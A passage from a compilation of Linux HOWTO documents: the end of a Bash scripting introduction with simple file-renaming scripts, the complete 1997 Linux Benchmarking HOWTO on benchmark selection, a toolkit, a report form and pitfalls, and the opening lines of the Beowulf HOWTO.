             # so we tell the user how to use it
             echo "usage;"
             echo " renna p [prefix] files.."
             echo " renna s [suffix] files.."
             echo " renna r [expression] [replacement] files.."
             exit 0

             # done!

12.4 File renamer (simple)

     #!/bin/bash
     # renames.sh
     # basic file renamer

     criteria=$1
     re_match=$2
     replace=$3

     for i in $( ls *$criteria* );
     do
         src=$i
         tgt=$(echo $i | sed -e "s/$re_match/$replace/")
         mv $src $tgt
     done


BASH Programming - Introduction HOW-TO: When something goes wrong (debugging)

 Next Previous Contents

13. When something goes wrong (debugging)

13.1 Ways Calling BASH

A nice thing to do is to add on the first line

          #!/bin/bash -x

This will produce some intresting output information


BASH Programming - Introduction HOW-TO: About the document

 Next Previous Contents

14. About the document

Feel free to make suggestions/corrections, or whatever you think it would be interesting to see in this document. I'll try to update it as soon as I can.

14.1 (no) warranty

This documents comes with no warranty of any kind. and all that

14.2 Translations

Italian: by William Ghelfi (wizzy at tiscalinet.it) is here

French: by Laurent Martelli is missed

Korean: Minseok Park http://kldp.org

Korean: Chun Hye Jin unknown

Spanish: unknow http://www.insflug.org

I guess there are more translations, but I don't have any info of them, if you have it, please, mail it to me so I update this section.

14.3 Thanks to

  • People who translated this document to other languages (previous section).
  • Nathan Hurst for sending a lot of corrections.
  • Jon Abbott for sending comments about evaluating arithmetic expressions.
  • Felix Hudson for writing the renna script
  • Kees van den Broek (for sending many corrections, re-writting usefull comands section)
  • Mike (pink) made some suggestions about locating bash and testing files
  • Fiesh make a nice suggestion for the loops section.
  • Lion suggested to mention a common error (./hello.sh: Command not found.)
  • Andreas Beck made several corrections and coments.

14.4 History

New translations included and minor correcitons.

Added the section usefull commands re-writen by Kess.

More corrections and suggestions incorporated.

Samples added on string comparison.

v0.8 droped the versioning, I guess the date is enought.

v0.7 More corrections and some old TO-DO sections written.

v0.6 Minor corrections.

v0.5 Added the redirection section.

v0.4 disapperd from its location due to my ex-boss and thid doc found it's new place at the proper url: www.linuxdoc.org.

prior: I don't rememeber and I didn't use rcs nor cvs :(

14.5 More resources

Introduction to bash (under BE) http://org.laol.net/lamug/beforever/bashtut.htm

Bourne Shell Programming http://207.213.123.70/book/


Linux Benchmarking HOWTO

by André D. Balsa, andrewbalsa@usa.net

v0.12, 15 August 1997

The Linux Benchmarking HOWTO discusses some issues associated with the benchmarking of Linux systems and presents a basic benchmarking toolkit, as well as an associated form, which enable one to produce significant benchmarking information in a couple of hours. Perhaps it will also help diminish the amount of useless articles in comp.os.linux.hardware...

1. Introduction

  • 1.1 Why is benchmarking so important ?
  • 1.2 Invalid benchmarking considerations

2. Benchmarking procedures and interpretation of results

  • 2.1 Understanding benchmarking choices
  • 2.2 Standard benchmarks available for Linux
  • 2.3 Links and references

3. The Linux Benchmarking Toolkit (LBT)

  • 3.1 Rationale
  • 3.2 Benchmark selection
  • 3.3 Test duration
  • 3.4 Comments
  • 3.5 Possible improvements
  • 3.6 LBT Report Form
  • 3.7 Network performance tests
  • 3.8 SMP tests

4. Example run and results

5. Pitfalls and caveats of benchmarking

  • 5.1 Comparing apples and oranges
  • 5.2 Incomplete information
  • 5.3 Proprietary hardware/software
  • 5.4 Relevance

6. FAQ

7. Copyright, acknowledgments and miscellaneous

  • 7.1 How this document was produced
  • 7.2 Copyright
  • 7.3 New versions of this document
  • 7.4 Feedback
  • 7.5 Acknowledgments
  • 7.6 Disclaimer
  • 7.7 Trademarks


Linux Benchmarking HOWTO: Introduction

 Next Previous Contents

1. Introduction

"What we cannot speak about we must pass over in silence."

Ludwig Wittgenstein (1889-1951), Austrian philosopher

Benchmarking means measuring the speed with which a computer system will execute a computing task, in a way that will allow comparison between different hard/software combinations. It does not involve user-friendliness, aesthetic or ergonomic considerations or any other subjective judgment.

Benchmarking is a tedious, repetitive task, and takes attention to details. Very often the results are not what one would expect, and subject to interpretation (which actually may be the most important part of a benchmarking procedure).

Finally, benchmarking deals with facts and figures, not opinion or approximation.

1.1 Why is benchmarking so important ?

Apart from the reasons pointed out in the BogoMips Mini-HOWTO (section 7, paragraph 2), one occasionally is confronted with a limited budget and/or minimum performance requirements while putting together a Linux box. In other words, when confronted with the following questions:

  • How do I maximize performance within a given budget ?
  • How do I minimize costs for a required minimum performance level ?
  • How do I obtain the best performance/cost ratio (within a given budget or given performance requirements)?

one will have to examine, compare and/or produce benchmarks. Minimizing costs with no performance requirements usually involves putting together a machine with leftover parts (that old 386SX-16 box lying around in the garage will do fine) and does not require benchmarks, and maximizing performance with no cost ceiling is not a realistic situation (unless one is willing to put a Cray box in his/her living room - the leather-covered power supplies around it look nice, don't they ?).

Benchmarking per se is senseless, a waste of time and money; it is only meaningful as part of a decision process, i.e. if one has to make a choice between two or more alternatives.

Usually another parameter in the decision process is cost, but it could be availability, service, reliability, strategic considerations or any other rational, measurable characteristic of a computer system. When comparing the performance of different Linux kernel versions, for example, stability is almost always more important than speed.

1.2 Invalid benchmarking considerations

Very often read in newsgroups and mailing lists, unfortunately:

  1. Reputation of manufacturer (unmeasurable and meaningless).
  2. Market share of manufacturer (meaningless and irrelevant).
  3. Irrational parameters (for example, superstition or prejudice: would you buy a processor labeled 131313ZAP and painted pink ?)
  4. Perceived value (meaningless, unmeasurable and irrational).
  5. Amount of marketing hype: this one is the worst, I guess. I personally am fed up with the "XXX inside" or "kkkkkws compatible" logos (now the "aaaaaPowered" has joined the band - what next ?). IMHO, the billions of dollars spent on such campaigns would be better used by research teams on the design of new, faster, (cheaper :-) bug-free processors. No amount of marketing hype will remove a floating-point bug in the FPU of the brand-new processor you just plugged in your motherboard, but an exchange against a redesigned processor will.
  6. "You get what you pay for" opinions are just that: opinions. Give me the facts, please.


Linux Benchmarking HOWTO: Benchmarking procedures and interpretation of results

 Next Previous Contents

2. Benchmarking procedures and interpretation of results

A few semi-obvious recommendations:

  1. First and foremost, identify your benchmarking goals. What is it you are exactly trying to benchmark ? In what way will the benchmarking process help later in your decision making ? How much time and resources are you willing to put into your benchmarking effort ?
  2. Use standard tools. Use a current, stable kernel version, standard, current gcc and libc and a standard benchmark. In short, use the LBT (see below).
  3. Give a complete description of your setup (see the LBT report form below).
  4. Try to isolate a single variable. Comparative benchmarking is more informative than "absolute" benchmarking. I cannot stress this enough.
  5. Verify your results. Run your benchmarks a few times and verify the variations in your results, if any. Unexplained variations will invalidate your results.
  6. If you think your benchmarking effort produced meaningful information, share it with the Linux community in a precise and concise way.
  7. Please forget about BogoMips. I promise myself I shall someday implement a very fast ASIC with the BogoMips loop wired in. Then we shall see what we shall see !

2.1 Understanding benchmarking choices

Synthetic vs. applications benchmarks

Before spending any amount of time on benchmarking chores, a basic choice must be made between "synthetic" benchmarks and "applications" benchmarks.

Synthetic benchmarks are specifically designed to measure the performance of individual components of a computer system, usually by exercising the chosen component to its maximum capacity. An example of a well-known synthetic benchmark is the Whetstone suite, originally programmed in 1972 by Harold Curnow in FORTRAN (or was that ALGOL ?) and still in widespread use nowadays. The Whestone suite will measure the floating-point performance of a CPU.

The main critic that can be made to synthetic benchmarks is that they do not represent a computer system's performance in real-life situations. Take for example the Whetstone suite: the main loop is very short and will easily fit in the primary cache of a CPU, keeping the FPU pipeline constantly filled and so exercising the FPU to its maximum speed. We cannot really criticize the Whetstone suite if we remember it was programmed 25 years ago (its design dates even earlier than that !), but we must make sure we interpret its results with care, when it comes to benchmarking modern microprocessors.

Another very important point to note about synthetic benchmarks is that, ideally, they should tell us something about a specific aspect of the system being tested, independently of all other aspects: a synthetic benchmark for Ethernet card I/O throughput should result in the same or similar figures whether it is run on a 386SX-16 with 4 MBytes of RAM or a Pentium 200 MMX with 64 MBytes of RAM. Otherwise, the test will be measuring the overall performance of the CPU/Motherboard/Bus/Ethernet card/Memory subsystem/DMA combination: not very useful since the variation in CPU will cause a greater impact than the change in Ethernet network card (this of course assumes we are using the same kernel/driver combination, which could cause an even greater variation)!

Finally, a very common mistake is to average various synthetic benchmarks and claim that such an average is a good representation of real-life performance for any given system.

Here is a comment on FPU benchmarks quoted with permission from the Cyrix Corp. Web site:

"A Floating Point Unit (FPU) accelerates software designed to use floating point mathematics : typically CAD programs, spreadsheets, 3D games and design applications. However, today's most popular PC applications make use of both floating point and integer instructions. As a result, Cyrix chose to emphasize "parallelism" in the design of the 6x86 processor to speed up software that intermixes these two instruction types.
The x86 floating point exception model allows integer instructions to issue and complete while a floating point instruction is executing. In contrast, a second floating point instruction cannot begin execution while a previous floating point instruction is executing. To remove the performance limitation created by the floating point exception model, the 6x86 can speculatively issue up to four floating point instructions to the on-chip FPU while continuing to issue and execute integer instructions. As an example, in a code sequence of two floating point instructions (FLTs) followed by six integer instructions (INTs) followed by two FLTs, the 6x86 processor can issue all ten instructions to the appropriate execution units prior to completion of the first FLT. If none of the instructions fault (the typical case), execution continues with both the integer and floating point units completing instructions in parallel. If one of the FLTs faults (the atypical case), the speculative execution capability of the 6x86 allows the processor state to be restored in such a way that it is compatible with the x86 floating point exception model.
Examination of benchmark tests reveals that synthetic floating point benchmarks use a pure floating point-only code stream not found in real-world applications. This type of benchmark does not take advantage of the speculative execution capability of the 6x86 processor. Cyrix believes that non-synthetic benchmarks based on real-world applications better reflect the actual performance users will achieve. Real-world applications contain intermixed integer and floating point instructions and therefore benefit from the 6x86 speculative execution capability."

So, the recent trend in benchmarking is to choose common applications and use them to test the performance of complete computer systems. For example, SPEC, the non-profit corporation that designed the well-known SPECINT and SPECFP synthetic benchmark suites, has launched a project for a new applications benchmark suite. But then again, it is very unlikely that such commercial benchmarks will ever include any Linux code.

Summarizing, synthetic benchmarks are valid as long as you understand their purposes and limitations. Applications benchmarks will better reflect a computer system's performance, but none are available for Linux.

High-level vs. low-level benchmarks

Low-level benchmarks will directly measure the performance of the hardware: CPU clock, DRAM and cache SRAM cycle times, hard disk average access time, latency, track-to-track stepping time, etc... This can be useful in case you bought a system and are wondering what components it was built with, but a better way to check these figures would be to open the case, list whatever part numbers you can find and somehow obtain the data sheet for each part (usually on the Web).

Another use for low-level benchmarks is to check that a kernel driver was correctly configured for a specific piece of hardware: if you have the data sheet for the component, you can compare the results of the low-level benchmarks to the theoretical, printed specs.

High-level benchmarks are more concerned with the performance of the hardware/driver/OS combination for a specific aspect of a microcomputer system, for example file I/O performance, or even for a specific hardware/driver/OS/application performance, e.g. an Apache benchmark on different microcomputer systems.

Of course, all low-level benchmarks are synthetic. High-level benchmarks may be synthetic or applications benchmarks.

2.2 Standard benchmarks available for Linux

IMHO a simple test that anyone can do while upgrading any component in his/her Linux box is to launch a kernel compile before and after the hard/software upgrade and compare compilation times. If all other conditions are kept equal then the test is valid as a measure of compilation performance and one can be confident to say that:

"Changing A to B led to an improvement of x % in the compile time of the Linux kernel under such and such conditions".

No more, no less !

Since kernel compilation is a very usual task under Linux, and since it exercises most functions that get exercised by normal benchmarks (except floating-point performance), it constitutes a rather good individual test. In most cases, however, results from such a test cannot be reproduced by other Linux users because of variations in hard/software configurations and so this kind of test cannot be used as a "yardstick" to compare dissimilar systems (unless we all agree on a standard kernel to compile - see below).

Unfortunately, there are no Linux-specific benchmarking tools, except perhaps the Byte Linux Benchmarks which are a slightly modified version of the Byte Unix Benchmarks dating back from May 1991 (Linux mods by Jon Tombs, original authors Ben Smith, Rick Grehan and Tom Yager).

There is a central Web site for the Byte Linux Benchmarks.

An improved, updated version of the Byte Unix Benchmarks was put together by David C. Niemi. It is called UnixBench 4.01 to avoid confusion with earlier versions. Here is what David wrote about his mods:

"The original and slightly modified BYTE Unix benchmarks are broken in quite a number of ways which make them an unusually unreliable indicator of system performance. I intentionally made my "index" values look a lot different to avoid confusion with the old benchmarks."

David has setup a majordomo mailing list for discussion of benchmarking on Linux and competing OSs. Join with "subscribe bench" sent in the body of a message to majordomo@wauug.erols.com. The Washington Area Unix User Group is also in the process of setting up a Web site for Linux benchmarks.

Also recently, Uwe F. Mayer, mayer@math.vanderbilt.edu ported the BYTE Bytemark suite to Linux. This is a modern suite carefully put together by Rick Grehan at BYTE Magazine to test the CPU, FPU and memory system performance of modern microcomputer systems (these are strictly processor-performance oriented benchmarks, no I/O or system performance is taken into account).

Uwe has also put together a Web site with a database of test results for his version of the Linux BYTEmark benchmarks.

While searching for synthetic benchmarks for Linux, you will notice that sunsite.unc.edu carries few benchmarking tools. To test the relative speed of X servers and graphics cards, the xbench-0.2 suite by Claus Gittinger is available from sunsite.unc.edu, ftp.x.org and other sites. Xfree86.org refuses (wisely) to carry or recommend any benchmarks.

The XFree86-benchmarks Survey is a Web site with a database of x-bench results.

For pure disk I/O throughput, the hdparm program (included with most distributions, otherwise available from sunsite.unc.edu) will measure transfer rates if called with the -t and -T switches.

There are many other tools freely available on the Internet to test various performance aspects of your Linux box.

2.3 Links and references

The comp.benchmarks.faq by Dave Sill is the standard reference for benchmarking. It is not Linux specific, but recommended reading for anybody serious about benchmarking. It is available from a number of FTP and web sites and lists 56 different benchmarks, with links to FTP or Web sites that carry them. Some of the benchmarks listed are commercial (SPEC for example), though.

I will not go through each one of the benchmarks mentionned in the comp.benchmarks.faq, but there is at least one low-level suite which I would like to comment on: the lmbench suite, by Larry McVoy. Quoting David C. Niemi:

"Linus and David Miller use this a lot because it does some useful low-level measurements and can also measure network throughput and latency if you have 2 boxes to test with. But it does not attempt to come up with anything like an overall "figure of merit"..."

A rather complete FTP site for freely available benchmarks was put together by Alfred Aburto. The Whetstone suite used in the LBT can be found at this site.

There is a multipart FAQ by Eugene Miya that gets posted regularly to comp.benchmarks; it is an excellent reference.


Linux Benchmarking HOWTO: The Linux Benchmarking Toolkit (LBT)

 Next Previous Contents

3. The Linux Benchmarking Toolkit (LBT)

I will propose a basic benchmarking toolkit for Linux. This is a preliminary version of a comprehensive Linux Benchmarking Toolkit, to be expanded and improved. Take it for what it's worth, i.e. as a proposal. If you don't think it is a valid test suite, feel free to email me your critics and I will be glad to make the changes and improve it if I can. Before getting into an argument, however, read this HOWTO and the mentionned references: informed criticism is welcomed, empty criticism is not.

3.1 Rationale

This is just common sense:

  1. It should not take a whole day to run. When it comes to comparative benchmarking (various runs), nobody wants to spend days trying to figure out the fastest setup for a given system. Ideally, the entire benchmark set should take about 15 minutes to complete on an average machine.
  2. All source code for the software used must be freely available on the Net, for obvious reasons.
  3. Benchmarks should provide simple figures reflecting the measured performance.
  4. There should be a mix of synthetic benchmarks and application benchmarks (with separate results, of course).
  5. Each synthetic benchmarks should exercise a particular subsystem to its maximum capacity.
  6. Results of synthetic benchmarks should not be averaged into a single figure of merit (that defeats the whole idea behind synthetic benchmarks, with considerable loss of information).
  7. Applications benchmarks should consist of commonly executed tasks on Linux systems.

3.2 Benchmark selection

I have selected five different benchmark suites, trying as much as possible to avoid overlap in the tests:

  1. Kernel 2.0.0 (default configuration) compilation using gcc.
  2. Whetstone version 10/03/97 (latest version by Roy Longbottom).
  3. xbench-0.2 (with fast execution parameters).
  4. UnixBench benchmarks version 4.01 (partial results).
  5. BYTE Magazine's BYTEmark benchmarks beta release 2 (partial results).

For tests 4 and 5, "(partial results)" means that not all results produced by these benchmarks are considered.

3.3 Test duration

  1. Kernel 2.0.0 compilation: 5 - 30 minutes, depending on the real performance of your system.
  2. Whetstone: 100 seconds.
  3. Xbench-0.2: < 1 hour.
  4. UnixBench benchmarks version 4.01: approx. 15 minutes.
  5. BYTE Magazine's BYTEmark benchmarks: approx. 10 minutes.

3.4 Comments

Kernel 2.0.0 compilation:

  • What: it is the only application benchmark in the LBT.
  • The code is widely available (i.e. I finally found some use for my old Linux CD-ROMs).
  • Most linuxers recompile the kernel quite often, so it is a significant measure of overall performance.
  • The kernel is large and gcc uses a large chunk of memory: attenuates L2 cache size bias with small tests.
  • It does frequent I/O to disk.
  • Test procedure: get a pristine 2.0.0 source, compile with default options (make config, press Enter repeatedly). The reported time should be the time spent on compilation i.e. after you type make zImage, not including make dep, make clean. Note that the default target architecture for the kernel is the i386, so if compiled on another architecture, gcc too should be set to cross-compile, with i386 as the target architecture.
  • Results: compilation time in minutes and seconds (please don't report fractions of seconds).

Whetstone:

  • What: measures pure floating point performance with a short, tight loop. The source (in C) is quite readable and it is very easy to see which floating-point operations are involved.
  • Shortest test in the LBT :-).
  • It's an "Old Classic" test: comparable figures are available, its flaws and shortcomings are well known.
  • Test procedure: the newest C source should be obtained from Aburto's site. Compile and run in double precision mode. Specify gcc and -O2 as precompiler and precompiler options, and define POSIX 1 to specify machine type.
  • Results: a floating-point performance figure in MWIPS.

Xbench-0.2:

  • What: measures X server performance.
  • The xStones measure provided by xbench is a weighted average of several tests indexed to an old Sun station with a single-bit-depth display. Hmmm... it is questionable as a test of modern X servers, but it's still the best tool I have found.
  • Test procedure: compile with -O2. We specify a few options for a shorter run: ./xbench -timegoal 3 > results/name_of_your_linux_box.out. To get the xStones rating, we must run an awk script; the simplest way is to type make summary.ms. Check the summary.ms file: the xStone rating for your system is in the last column of the line with your machine name specified during the test.
  • Results: an X performance figure in xStones.
  • Note: this test, as it stands, is outdated. It should be re-coded.

UnixBench version 4.01:

  • What: measures overall Unix performance. This test will exercice the file I/O and kernel multitasking performance.
  • I have discarded all arithmetic test results, keeping only the system-related test results.
  • Test procedure: make with -O2. Execute with ./Run -1 (run each test once). You will find the results in the ./results/report file. Calculate the geometric mean of the EXECL THROUGHPUT, FILECOPY 1, 2, 3, PIPE THROUGHPUT, PIPE-BASED CONTEXT SWITCHING, PROCESS CREATION, SHELL SCRIPTS and SYSTEM CALL OVERHEAD indexes.
  • Results: a system index.

BYTE Magazine's BYTEmark benchmarks:

  • What: provides a good measure of CPU performance. Here is an excerpt from the documentation: "These benchmarks are meant to expose the theoretical upper limit of the CPU, FPU, and memory architecture of a system. They cannot measure video, disk, or network throughput (those are the domains of a different set of benchmarks). You should, therefore, use the results of these tests as part, not all, of any evaluation of a system."
  • I have discarded the FPU test results since the Whetstone test is just as representative of FPU performance.
  • I have split the integer tests in two groups: those more representative of memory-cache-CPU performance and the CPU integer tests.
  • Test procedure: make with -O2. Run the test with ./nbench > myresults.dat or similar. Then, from myresults.dat, calculate geometric mean of STRING SORT, ASSIGNMENT and BITFIELD test indexes; this is the memory index; calculate the geometric mean of NUMERIC SORT, IDEA, HUFFMAN and FP EMULATION test indexes; this is the integer index.
  • Results: a memory index and an integer index calculated as explained above.

3.5 Possible improvements

The ideal benchmark suite would run in a few minutes, with synthetic benchmarks testing every subsystem separately and applications benchmarks providing results for different applications. It would also automatically generate a complete report and eventually email the report to a central database on the Web.

We are not really interested in portability here, but it should at least run on all recent (> 2.0.0) versions and flavours (i386, Alpha, Sparc...) of Linux.

If anybody has any idea about benchmarking network performance in a simple, easy and reliable way, with a short (less than 30 minutes to setup and run) test, please contact me.

3.6 LBT Report Form

Besides the tests, the benchmarking procedure would not be complete without a form describing the setup, so here it is (following the guidelines from comp.benchmarks.faq):

LINUX BENCHMARKING TOOLKIT REPORT FORM

CPU
==
Vendor:
Model:
Core clock:
Motherboard vendor:
Mbd. model:
Mbd. chipset:
Bus type:
Bus clock:
Cache total:
Cache type/speed:
SMP (number of processors):

RAM
====
Total:
Type:
Speed:

Disk
====
Vendor:
Model:
Size:
Interface:
Driver/Settings:

Video board
===========
Vendor:
Model:
Bus:
Video RAM type:
Video RAM total:
X server vendor:
X server version:
X server chipset choice:
Resolution/vert. refresh rate:
Color depth:

Kernel
=====
Version:
Swap size:

gcc
===
Version:
Options:
libc version:

Test notes
==========

RESULTS
========
Linux kernel 2.0.0 Compilation Time: (minutes and seconds)
Whetstones: results are in MWIPS.
Xbench: results are in xstones.
Unixbench Benchmarks 4.01 system INDEX:
BYTEmark integer INDEX:
BYTEmark memory INDEX:

Comments*
=========
* This field is included for possible interpretations of the results, and as
such, it is optional. It could be the most significant part of your report,
though, specially if you are doing comparative benchmarking.

3.7 Network performance tests

Testing network performance is a challenging task since it involves at least two machines, a server and a client machine, hence twice the time to setup and many more variables to control, etc... On an ethernet network, I guess your best bet would be the ttcp package. (to be expanded)

3.8 SMP tests

SMP tests are another challenge, and any benchmark specifically designed for SMP testing will have a hard time proving itself valid in real-life settings, since algorithms that can take advantage of SMP are hard to come by. It seems later versions of the Linux kernel (> 2.1.30 or around that) will do "fine-grained" multiprocessing, but I have no more information than that for the moment.

According to David Niemi, " ... shell8 [part of the Unixbench 4.01 benchmaks]does a good job at comparing similar hardware/OS in SMP and UP modes."


Linux Benchmarking HOWTO: Example run and results

 Next Previous Contents

4. Example run and results

The LBT was run on my home machine, a Pentium-class Linux box that I put together myself and that I used to write this HOWTO. Here is the LBT Report Form for this system:

LINUX BENCHMARKING TOOLKIT REPORT FORM

CPU

==

Vendor: Cyrix/IBM

Model: 6x86L P166+

Core clock: 133 MHz

Motherboard vendor: Elite Computer Systems (ECS)

Mbd. model: P5VX-Be

Mbd. chipset: Intel VX

Bus type: PCI

Bus clock: 33 MHz

Cache total: 256 KB

Cache type/speed: Pipeline burst 6 ns

SMP (number of processors): 1

RAM

====

Total: 32 MB

Type: EDO SIMMs

Speed: 60 ns

Disk

====

Vendor: IBM

Model: IBM-DAQA-33240

Size: 3.2 GB

Interface: EIDE

Driver/Settings: Bus Master DMA mode 2

Video board

===========

Vendor: Generic S3

Model: Trio64-V2

Bus: PCI

Video RAM type: EDO DRAM

Video RAM total: 2 MB

X server vendor: XFree86

X server version: 3.3

X server chipset choice: S3 accelerated

Resolution/vert. refresh rate: 1152x864 @ 70 Hz

Color depth: 16 bits

Kernel

=====

Version: 2.0.29

Swap size: 64 MB

gcc

===

Version: 2.7.2.1

Options: -O2

libc version: 5.4.23

Test notes

==========

Very light load. The above tests were run with some of the special
Cyrix/IBM 6x86 features enabled with the setx86 program: fast ADS,
fast IORT, Enable DTE, fast LOOP, fast Lin. VidMem.

RESULTS

========

Linux kernel 2.0.0 Compilation Time: 7m12s

Whetstones: 38.169 MWIPS.

Xbench: 97243 xStones.

BYTE Unix Benchmarks 4.01 system INDEX: 58.43

BYTEmark integer INDEX: 1.50

BYTEmark memory INDEX: 2.50

Comments

=========

This is a very stable system with homogeneous performance, ideal
for home use and/or Linux development. I will report results
with a 6x86MX processor as soon as I can get my hands on one!


Linux Benchmarking HOWTO: Pitfalls and caveats of benchmarking

 Next Previous Contents

5. Pitfalls and caveats of benchmarking

After putting together this HOWTO I began to understand why the words "pitfalls" and "caveats" are so often associated with benchmarking...

5.1 Comparing apples and oranges

Or should I say Apples and PCs ? This is so obvious and such an old dispute that I won't go into any details. I doubt the time it takes to load Word on a Mac compared to an average Pentium is a real measure of anything. Likewise booting Linux and Windows NT, etc... Try as much as possible to compare identical machines with a single modification.

5.2 Incomplete information

A single example will illustrate this very common mistake. One often reads in comp.os.linux.hardware the following or similar statement: "I just plugged in processor XYZ running at nnn MHz and now compiling the linux kernel only takes i minutes" (adjust XYZ, nnn and i as required). This is irritating, because no other information is given, i.e. we don't even know the amount of RAM, size of swap, other tasks running simultaneously, kernel version, modules selected, hard disk type, gcc version, etc... I recommend you use the LBT Report Form, which at least provides a standard information framework.

5.3 Proprietary hardware/software

A well-known processor manufacturer once published results of benchmarks produced by a special, customized version of gcc. Ethical considerations apart, those results were meaningless, since 100% of the Linux community would go on using the standard version of gcc. The same goes for proprietary hardware. Benchmarking is much more useful when it deals with off-the-shelf hardware and free (in the GNU/GPL sense) software.

5.4 Relevance

We are talking Linux, right ? So we should forget about benchmarks produced on other operating systems (this is a special case of the "Comparing apples and oranges" pitfall above). Also, if one is going to benchmark Web server performance, do not quote FPU performance and other irrelevant information. In such cases, less is more. Also, you do not need to mention the age of your cat, your mood while benchmarking, etc..


Linux Benchmarking HOWTO: FAQ

 Next Previous Contents

6. FAQ

Q1.

Is there any single figure of merit for Linux systems ?

A:

No, thankfully nobody has yet come up with a Lhinuxstone (tm) measurement. And if there was one, it would not make much sense: Linux systems are used for many different tasks, from heavily loaded Web servers to graphics workstations for individual use. No single figure of merit can describe the performance of a Linux system under such different situations.

Q2.

Then, how about a dozen figures summarizing the performance of diverse Linux systems ?

A:

That would be the ideal situation. I would like to see that come true. Anybody volunteers for a Linux Benchmarking Project ? With a Web site and an on-line, complete, well-designed reports database ?

Q3.

... BogoMips ... ?

A:

BogoMips has nothing to do with the performance of your system. Check the BogoMips Mini-HOWTO.

Q4.

What is the "best" benchmark for Linux ?

A:

It all depends on which performance aspect of a Linux system one wants to measure. There are different benchmarks to measure the network (Ethernet sustained transfer rates), file server (NFS), disk I/O, FPU, integer, graphics, 3D, processor-memory bandwidth, CAD performance, transaction time, SQL performance, Web server performance, real-time performance, CD-ROM performance, Quake performance (!), etc ... AFAIK no bechmark suite exists for Linux that supports all these tests.

Q5.

What is the fastest processor under Linux ?

A:

Fastest at what task ? If one is heavily number-crunching oriented, a very high clock rate Alpha (600 MHz and going) should be faster than anything else, since Alphas have been designed for that kind of performance. If, on the other hand, one wants to put together a very fast news server, it is probable that the choice of a fast hard disk subsystem and lots of RAM will result in higher performance improvements than a change of processor, for the same amount of $.

Q6.

Let me rephrase the last question, then: is there a processor that is fastest for general purpose applications ?

A:

This is a tricky question but it takes a very simple answer: NO. One can always design a faster system even for general purpose applications, independent of the processor. Usually, all other things being equal, higher clock rates will result in higher performance systems (and more headaches too). Taking out an old 100 MHz Pentium from an (usually not) upgradable motherboard, and plugging in the 200 MHz version, one should feel the extra "hummph". Of course, with only 16 MBytes of RAM, the same investment would have been more wisely spent on extra SIMMs...

Q7.

So clock rates influence the performance of a system ?

A:

For most tasks except for NOP empty loops (BTW these get removed by modern optimizing compilers), an increase in clock rate will not give you a linear increase in performance. Very small processor intensive programs that will fit entirely in the primary cache inside the processor (the L1 cache, usually 8 or 16 K) will have a performance increase equivalent to the clock rate increase, but most "true" programs are much larger than that, have loops that do not fit in the L1 cache, share the L2 (external) cache with other processes, depend on external components and will give much smaller performance increases. This is because the L1 cache runs at the same clock rate as the processor, whereas most L2 caches and all other subsystems (DRAM, for example) will run asynchronously at lower clock rates.

Q8.

OK, then, one last question on that matter: which is the processor with the best price/performance ratio for general purpose Linux use ?

A:

Defining "general purpose Linux use" in not an easy thing ! For any particular application, there is always a processor with THE BEST price/performance ratio at any given time, but it changes rather frequently as manufacturers release new processors, so answering Processor XYZ running at n MHz would be a snapshot answer. However, the price of the processor is insignificant when compared to the price of the whole system one will be putting together. So, really, the question should be how can one maximize the price/performance ratio for a given system ? And the answer to that question depends heavily on the minimum performance requirements and/or maximum cost established for the configuration being considered. Sometimes, off-the-shelf hardware will not meet minimum performance requirements and expensive RISC systems will be the only alternative. For home use, I recommend a balanced, homogeneous system for overall performance (now go figure what I mean by balanced and homogeneous :-); the choice of a processor is an important decision , but no more than choosing hard disk type and capacity, amount of RAM, video card, etc...

Q9.

What is a "significant" increase in performance ?

A:

I would say that anything under 1% is not significant (could be described as "marginal"). We, humans, will hardly perceive the difference between two systems with a 5 % difference in response time. Of course some hard-core benchmarkers are not humans and will tell you that, when comparing systems with 65.9 and 66.5 performance indexes, the later is "definitely faster".

Q10.

How do I obtain "significant" increases in performance at the lowest cost ?

A:

Since most source code is available for Linux, careful examination and algorithmic redesign of key subroutines could yield order-of-magnitude increases in performance in some cases. If one is dealing with a commercial project and does not wish to delve deeply in C source code a Linux consultant should be called in. See the Consultants-HOWTO.


Linux Benchmarking HOWTO: Copyright, acknowledgments and miscellaneous

 Next Previous Contents

7. Copyright, acknowledgments and miscellaneous

7.1 How this document was produced

The first step was reading section 4 "Writing and submitting a HOWTO" of the HOWTO Index by Tim Bynum.

I knew absolutely nothing about SGML or LaTeX, but was tempted to use an automated documentation generation package after reading the various comments about SGML-Tools. However, inserting tags manually in a document reminds me of the days I hand-assembled a 512 byte monitor program for a now defunct 8-bit microprocessor, so I got hold of the LyX sources, compiled it, and used its LinuxDoc mode. Highly recommended combination: LyX and SGML-Tools.

7.2 Copyright

The Linux Benchmarking HOWTO is copyright (C) 1997 by André D. Balsa. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have questions, please contact Tim Bynum, the Linux HOWTO coordinator, at linux-howto@sunsite.unc.edu via email.

7.3 New versions of this document

New versions of the Linux Benchmarking-HOWTO will be placed on sunsite.unc.edu and mirror sites. There are other formats, such as a Postscript and dvi version in the other-formats directory. The Linux Benchmarking-HOWTO is also available for WWW clients such as Grail, a Web browser written in Python. It will also be posted regularly to comp.os.linux.answers.

7.4 Feedback

Suggestions, corrections, additions wanted. Contributors wanted and acknowledged. Flames not wanted.

I can always be reached at andrewbalsa@usa.net.

7.5 Acknowledgments

David Niemi, the author of the Unixbench suite, has proved to be an endless source of information and (valid) criticism.

I also want to thank Greg Hankins one of the main contributors to the SGML-tools package, Linus Torvalds and the entire Linux community. This HOWTO is my way of giving back.

7.6 Disclaimer

Your mileage may, and will, vary. Be aware that benchmarking is a touchy subject and a great time-and-energy consuming activity.

7.7 Trademarks

Pentium and Windows NT are trademarks of Intel and Microsoft Corporations respectively.

BYTE and BYTEmark are trademarks of McGraw-Hill, Inc.

Cyrix and 6x86 are trademarks of Cyrix Corporation.

Linux is not a trademark, hopefully never will be.


Beowulf HOWTO

Jacek Radajewski and Douglas Eadline

v1.1.1, 22 November 1998

This document introduces the Beowulf Supercomputer architecture and provides background information on parallel programming, including links to other more specific documents, and web pages.

1. Preamble

  • 1.1 Disclaimer
  • 1.2 Copyright
  • 1.3 About this HOWTO
